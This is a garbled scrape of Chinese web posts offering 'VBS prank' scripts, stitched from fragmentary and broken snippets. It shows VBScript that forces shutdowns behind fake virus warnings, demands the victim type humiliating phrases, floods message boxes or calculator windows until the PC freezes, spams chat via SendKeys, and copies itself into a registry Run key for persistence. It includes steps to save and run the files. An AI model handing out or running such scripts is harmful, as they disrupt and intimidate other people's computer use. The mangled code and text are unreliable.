Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。

WScriptEchoquot想结素我么？那你就再多点一次quotWScriptEchoquot想结素我么？那你就再多点一次quot分割线保存，保存类型为所有文件，名字随便，矿展名“vbs”，保存后点开；fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。

有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~简单描述一下文件夹同名病毒Autorun病毒大家都熟悉吧效果就是那样不过放心吧，绝不是真的病毒，骗人的，试想，如果有人中招，他会怎么办。

vbs整人代码大全点开什么东西都停止运行

首先创建 文本文档，将以下代码复制on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。

run quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾 嘎嘎爽歪歪啊 quot参考资料把它复制下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了。

WSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim a do whilea lt quot我是XX，大哥我真的是XX啊！quota = inputbox。

vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。

Msgbox quot您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动quot，16+4096，quotWindows安全警报quotShell quotcmdc shutdown s t 5quot佛祖曰普度众生，这样就行 后面那一句代码是用来关机的，VBS代。

vbs整人代码大全,很恶心的整人效果

xxvbs= 复制代码 代码如下On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wsh。

代码Set ws=WScriptCreateObjectquotWScriptShellquot wspopupquot大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，quot，10，quot闪亮登场quot，64 wspopupquot玉树临风，风度翩翩的“咕噜咕噜”，不好意思，我内急先。

首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 接下来这个脚本每一次循环会展示4个弹窗，每个。

代码一无限弹出信息框 双引号内可以自行修改 do msgbox quot爱邱哥爱生活quotloop 代码二打开N个计算器，到电脑死机 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代码三电脑关机 dim WSHshell set WSHsh。

01 我们首先在桌面上创建一个VBS的文件，如下图所示，注意VBS文件双击的话是直接运行的 02 然后我们用Sublime打开vbs程序文件，在里面借助loop循环来不断的输出msgbox，如下图所示 03。

msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，好乖quot该代码是定时关机的，破解方法打开了就知道了 已赞过 已踩过lt 你对这个回答的评价是？ 评论 收起。

chr13 + chr13 + quot哈哈哈哈，真过瘾quot保存后 重命名为 整人VBS 然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown a 即可取消关机命令 然后使用任务管理器结束进程即可。